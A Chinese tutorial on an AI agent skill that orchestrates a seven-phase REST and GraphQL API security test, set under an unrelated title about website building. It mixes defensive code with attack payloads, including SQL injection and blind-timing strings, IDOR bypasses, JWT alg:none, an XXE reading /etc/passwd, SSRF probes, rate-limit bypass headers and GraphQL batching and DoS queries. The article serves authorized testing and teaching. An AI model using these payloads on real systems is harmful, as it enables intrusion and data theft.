企业官网建设流程全解析

• AI 技能
• AI 插件

导读

本文基于agentic-awesome-skills仓库中 api-security-testing 技能文档，系统梳理一套面向 REST 与 GraphQL API 的分阶段安全测试工作流，覆盖端点发现、认证、授权、输入校验、限流、GraphQL 专项与错误处理七大环节。读完本文，你将掌握如何编排仓库内多个安全子技能（fuzzing、IDOR、认证绕过、注入测试等）形成完整的 API 安全评估闭环，并得到可直接套用的检查清单与质量门禁。

一、技能定位：一种可编排的 API 安全测试工作流

api-security-testing在仓库的 catalog.json 中被登记为granular-workflow-bundle类别，风险等级为safe，属于工作流编排型技能：它本身不重复造轮子，而是将仓库内已有的细粒度安全技能按阶段串联成一条测试流水线。

该工作流适用于以下场景：

• REST API 安全测试（认证、授权、限流、注入）
• GraphQL 端点安全评估（introspection、深度、复杂度、批量查询）
• API 认证与令牌机制验证
• 限流与暴力破解防护验证
• Bug Bounty 场景下的 API 专项测试

从源码结构看，该技能被设计为“调度者 + 执行者”模式：工作流文档定义阶段、行动项与 Copy-Paste Prompt，真正的攻击手法与载荷由被调用的子技能承载（如api-fuzzing-bug-bounty、broken-authentication等），这种分层让流程可复用、手法可持续更新。

二、工作流全景：七大阶段的编排结构

整个工作流包含 7 个阶段，每个阶段由「技能调用 + 行动项 + 提示词模板」三部分组成：

下面按阶段逐一展开，并结合各子技能源码给出可落地的测试手法。

三、Phase 1：API 发现（Discovery）

行动项

1. 枚举端点（Enumerate endpoints）
2. 记录 API 方法（Document API methods）
3. 识别参数（Identify parameters）
4. 映射数据流（Map data flows）
5. 审阅文档（Review documentation）

执行要点

端点发现是后续所有测试的地基。参考 api-fuzzing-bug-bounty 中的侦察手法：

# 探测 Swagger / OpenAPI 文档（常见路径） /swagger.json /openapi.json /api-docs /v1/api-docs /swagger-ui.html # 用 Kiterunner 做 API 路径爆破 kr scan https://target.com -w routes-large.kite # 从 Swagger 提取路径 python3 json2paths.py swagger.json

三种 API 类型识别（来自 api-fuzzing-bug-bounty 的速查表）：

编排提示词（工作流原生提供，可直接复制给 Agent）：

Use @api-fuzzing-bug-bounty to discover API endpoints

实战建议：移动端 API 与 Web API 必须分开测试，两者安全控制往往不一致；所有 API 版本（/v1、/v2、/v3）都要纳入发现范围。

四、Phase 2：认证测试（Authentication Testing）

行动项

1. 测试 API Key 校验（Test API key validation）
2. 测试 JWT 令牌（Test JWT tokens）
3. 测试 OAuth2 流程（Test OAuth2 flows）
4. 测试令牌过期（Test token expiration）
5. 测试刷新令牌（Test refresh tokens）

执行要点

认证测试分两条线展开：攻击侧调用 broken-authentication 做机制分析、暴力破解与凭证枚举；防御侧参考 api-security-best-practices 理解正确的令牌契约应当是什么样。

令牌契约验证（防御基线）——api-security-best-practices 给出了一个关键原则：在签名验证之前，绝不从解码后的令牌推断权限。其 JWT 校验示例固定了算法白名单、issuer、audience：

const jwt = require('jsonwebtoken'); // 第一方访问令牌契约示例；固定算法、签发方与受众 const ACCESS_POLICY = { algorithms: ['HS256'], issuer: 'example-auth', audience: 'example-api' }; function verifyAccessToken(token, signingKey) { const claims = jwt.verify(token, signingKey, ACCESS_POLICY); if (!claims || typeof claims !== 'object' || typeof claims.sub !== 'string' || !claims.sub || typeof claims.tenantId !== 'string' || !claims.tenantId || !Number.isSafeInteger(claims.exp) || !Number.isSafeInteger(claims.iat) || claims.exp <= claims.iat) { throw new Error('Invalid access claims'); } return { subject: claims.sub, tenantId: claims.tenantId }; }

该技能还明确要求：访问令牌绝不能复用为刷新令牌；刷新流程应在一次原子事务中“消费旧令牌、签发新令牌”，并发复用不得产生两个后继令牌。

攻击侧测试手法（broken-authentication 关键内容）：

• 凭证枚举：对比有效/无效用户名在响应文案（"Invalid username" vs "Invalid password"）、响应码、耗时上的差异；密码重置流程中"Email sent if account exists"是安全的，而"No account with that email"会泄露账号是否存在。
• JWT alg:none 攻击：将 Header 改为{"alg":"none","typ":"JWT"}并移除签名提交。
• 会话固定测试：登录前后对比SESSIONID是否重新生成；若保持不变则存在会话固定漏洞。
• 令牌特性分析：采集 100 个以上会话令牌，检查熵、长度（建议 128+ 位）、顺序规律与 Cookie 标志（HttpOnly、Secure、SameSite）。

编排提示词：

Use @broken-authentication to test API authentication

常见限流绕过头（测试时用于验证后端是否信任伪造头）：X-Forwarded-For、X-Real-IP、X-Originating-IP、X-Client-IP、X-Remote-IP、True-Client-IP。

五、Phase 3：授权测试（Authorization Testing）

行动项

1. 测试对象级授权（object-level authorization）
2. 测试功能级授权（function-level authorization）
3. 测试基于角色的访问（role-based access）
4. 测试提权（privilege escalation）
5. 测试多租户隔离（multi-tenant isolation）

执行要点

本阶段调用 idor-testing，IDOR（Insecure Direct Object Reference，不安全直接对象引用，即 BOLA）是 API 领域最常见的访问控制漏洞之一。

核心测试模型：至少准备两个账号（attacker / victim），将请求中的对象标识从自己的 ID 替换为目标账号 ID：

# 原始请求（以 attacker 身份） GET /api/user/profile?id=1001 HTTP/1.1 Cookie: session=attacker_session # 篡改 ID 访问 victim 数据 GET /api/user/profile?id=1000 HTTP/1.1 Cookie: session=attacker_session # 若返回 victim 数据 → 存在 IDOR

IDOR 绕过载荷（来自 api-fuzzing-bug-bounty 的实战集合）：

# 数组包裹 {"id":111} → {"id":[111]} # JSON 嵌套包裹 {"id":111} → {"id":{"id":111}} # ID 重复发送（参数污染） URL?id=<LEGIT>&id=<VICTIM> # 通配符注入 {"user_id":"*"} # HTTP 方法切换：GET 受保护时试 POST/PUT/DELETE GET /api/admin/users/1000 → 403 POST /api/admin/users/1000 → 200 OK（漏洞!）

防御侧参考（api-security-best-practices 强调）：授权必须落在资源 + 操作两个维度，角色名不代表跨租户访问权；应在数据库变更语句中直接携带 owner/tenant 谓词，避免“先检查再写入”的 TOCTOU 竞态：

// Prisma 风格草图：删除操作直接按 id + userId + tenantId 过滤 async function deleteOwnedPost(prisma, postId, principal) { const result = await prisma.post.deleteMany({ where: { id: postId, userId: principal.subject, tenantId: principal.tenantId } }); return result.count === 1; }

编排提示词：

Use @idor-testing to test API authorization

六、Phase 4：输入校验测试（Input Validation）

行动项

1. 参数校验测试
2. SQL 注入测试
3. NoSQL 注入测试
4. 命令注入测试
5. XXE 注入测试

执行要点

输入校验阶段组合api-fuzzing-bug-bounty（模糊测试）与sql-injection-testing（注入专项）。

注入基础检测序列（来自 sql-injection-testing）：

1. 插入 ' → 检查是否报错 2. 插入 " → 检查是否报错 3. 尝试 OR 1=1-- → 检查行为变化 4. 尝试 AND 1=2-- → 检查行为变化 5. 尝试 ' WAITFOR DELAY '0:0:5'-- → 检查延迟

JSON 内 SQL 注入探测（api-fuzzing-bug-bounty 经典三步）：

{"id":"56456"} → 正常 {"id":"56456 AND 1=1#"} → 正常 {"id":"56456 AND 1=2#"} → 正常 {"id":"56456 AND 1=3#"} → 报错（存在注入!） {"id":"56456 AND sleep(15)#"} → 延迟 15 秒（确认注入）

盲注时间载荷（跨数据库速查）：

-- MySQL 1' AND IF(1=1,SLEEP(5),0)-- -- MSSQL 1'; WAITFOR DELAY '0:0:5'-- -- PostgreSQL 1'; SELECT pg_sleep(5)--

XXE 与 SSRF 载荷：

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

<!-- SSRF 探测内部端口 --> <object data="http://127.0.0.1:8443"/> <img src="http://127.0.0.1:445"/>

防御侧对照（api-security-best-practices）：拒绝部分数字解析（12abc不是 ID 12）、拒绝不安全整数、拒绝意外字段与超大请求；使用参数化查询，且 ORM 并不能替代业务授权。其提供的严格输入校验示例（Zod + 白名单）：

function parsePositiveId(raw) { if (typeof raw !== 'string' || !/^[1-9][0-9]{0,15}$/.test(raw)) return null; const value = Number(raw); return Number.isSafeInteger(value) && value > 0 ? value : null; } const { z } = require('zod'); const profileUpdate = z.object({ displayName: z.string().trim().min(1).max(100) }).strict(); // 处理器只能使用 req.validatedBody，绝不能使用原始 body 或任意展开

编排提示词：

Use @api-fuzzing-bug-bounty to fuzz API parameters

七、Phase 5：限流测试（Rate Limiting）

行动项

1. 测试限流响应头（rate limit headers）
2. 测试暴力破解防护（brute force protection）
3. 测试资源耗尽（resource exhaustion）
4. 测试绕过手法（bypass techniques）
5. 记录限制边界（document limitations）

执行要点

本阶段调用api-security-best-practices。该技能对限流给出了非常重要的工程级忠告：

• 先认证，再取认证用户的限流键，绝不信任用户提供的层级/配额声明；
• 分布式配额应使用“原子计数器 + 过期时间”的原子实现——手写INCR后跟EXPIRE在两者之间崩溃会留下永久 key；
• 区分按用户配额、按 IP 滥用控制、并发限制与上游服务预算；
• 记录真实的窗口/reset 语义，Retry-After应准确而非硬编码整窗口值；
• 内存限流器是每进程的，除非配置共享存储；
• 测试要点：并发请求、IPv4/IPv6、伪造转发头、未知层级、无身份、Redis 故障与过期。

GraphQL 批量查询绕过限流（api-fuzzing-bug-bounty 提供）——将多次登录放在同一个请求中，绕过按请求计数的限制：

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}} mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}} mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

暴力破解防护检查点（broken-authentication）：

• 锁定阈值：多少次失败后锁定？锁定多久？是否有通知？
• 限流维度：按请求/分钟？按 IP 还是按账号？
• 绕过面：X-Forwarded-For等伪造头是否被信任？

编排提示词：

Use @api-security-best-practices to test rate limiting

八、Phase 6：GraphQL 专项测试

行动项

1. 测试 Introspection
2. 测试查询深度（query depth）
3. 测试查询复杂度（query complexity）
4. 测试批量查询（batch queries）
5. 测试字段建议（field suggestions）

执行要点

GraphQL 只有一个端点，攻击面高度集中，本阶段调用api-fuzzing-bug-bounty的 GraphQL 专项手法。

Introspection 拉取完整 Schema：

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL 编码版本：

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR——尝试直接访问其他用户 ID：

query { user(id: "OTHER_USER_ID") { email password creditCard } }

GraphQL 注入：

mutation { login(input: { email: "test' or 1=1--" password: "password" }) { success jwt } }

GraphQL DoS（深层嵌套查询）：

query { posts { comments { user { posts { comments { user { posts { ... } } } } } } } }

GraphQL 工具速查：

编排提示词：

Use @api-fuzzing-bug-bounty to test GraphQL security

九、Phase 7：错误处理审计（Error Handling）

行动项

1. 测试错误消息（test error messages）
2. 检查信息泄露（check information disclosure）
3. 测试堆栈跟踪暴露（test stack traces）
4. 验证日志记录（verify logging）
5. 记录发现（document findings）

执行要点

错误处理审计调用api-security-best-practices，核心关切是信息泄露：

• 验证失败应返回通用 401，不得回显令牌或异常详情；
• 常规日志中禁止出现原始令牌、密码、请求体或完整数据库异常；应记录有界的日志事件名、请求关联 ID 与安全的状态/错误类别；
• 脱敏后的错误不应返回批量赋值的用户对象；
• 生产环境堆栈跟踪必须关闭；
• CORS 只控制浏览器跨源访问，不是API 认证或 CSRF 防护。

api-security-best-practices 给出了一个完整的“profile 更新边界”实操用例（PATCH /users/:id）作为验证模板：

1. 在 fixtures 中记录授权调用者/租户与当前端点行为；
2. 缺失/过期/错误 audience 的令牌应在存储访问前返回 401；
3. 提交12abc、不安全整数、空名称与多余role字段，应全部返回 400 且不产生数据库变更；
4. 尝试其他用户的有效 ID 与跨租户 ID，应返回既定拒绝且无变更；
5. 触发配额/存储故障，确认日志中不含请求令牌或名称。

编排提示词：

Use @api-security-best-practices to audit API error handling

十、API 安全检查清单（Checklist）

工作流内置了收尾核验清单，建议在报告生成前逐项打勾：

• 认证正常工作（Authentication working）
• 授权已强制（Authorization enforced）
• 输入已校验（Input validated）
• 限流生效（Rate limiting active）
• 错误已脱敏（Errors sanitized）
• 日志已开启（Logging enabled）
• CORS 已配置（CORS configured）
• HTTPS 已强制（HTTPS enforced）

十一、质量门禁（Quality Gates）

工作流要求测试完成后必须满足以下四个交付门禁，否则视为流程未闭环：

• 所有端点均已测试（All endpoints tested）
• 漏洞已记录（Vulnerabilities documented）
• 已提供修复建议（Remediation provided）
• 报告已生成（Report generated）

十二、关联工作流与其他技能

api-security-testing与以下仓库内技能构成生态，可按需联动：

• security-audit — 安全审计（若存在对应技能文件，路径结构一致）
• web-security-testing — Web 安全测试
• api-development— API 开发侧（与测试侧对照）

同时，被编排的各子技能都带有明确的risk元数据：api-fuzzing-bug-bounty、broken-authentication、idor-testing、sql-injection-testing均为offensive（进攻型），而api-security-testing本身为safe（编排型）。这些进攻型技能在其文档头部都声明了AUTHORIZED USE ONLY强制确认门禁：

在针对目标执行任何探测、利用、变更、持久化、数据提取或凭证访问命令之前，必须：

1. 要求用户明确陈述目标 URL、IP、账号或资源；
2. 要求用户确认书面授权与许可范围；
3. 展示确切命令并解释预期效果；
4. 等待当前会话中的明确确认。

未获确认前保持只读，仅提供防御性建议；优先使用沙箱、一次性虚拟机或受控实验环境。

十三、使用边界与限制（Limitations）

工作流自身声明的边界如下，使用时务必遵守：

• 仅在任务与该技能描述的适用范围明确匹配时才使用本技能；
• 不要将本技能输出当作环境特定验证、测试或专家评审的替代品；
• 当缺少必要的输入、权限、安全边界或成功标准时，停下来向用户澄清，不要盲目执行。

此外，从仓库实现看，攻击型子技能的载荷与绕过手法（IDOR 包裹、注入探测、限流绕过头等）必须在已获书面授权的目标或自建实验环境中使用，禁止对未授权系统执行。

结语：把工作流变成你的 API 安全评估 SOP

api-security-testing的价值在于把散落的攻击手法组织成一条可复制、可审计、可交付的流水线：发现 → 认证 → 授权 → 输入 → 限流 → GraphQL → 错误处理，每阶段都有明确技能、行动项与提示词，结尾有检查清单与质量门禁兜底。将本文的载荷速查表、防御对照示例与编排提示词组合使用，你即可在授权范围内完成一次覆盖 OWASP API 主要风险面（BOLA、失效认证、过度数据暴露、资源耗尽等）的完整评估，并产出带修复建议的专业报告。

• AI 技能
• AI 插件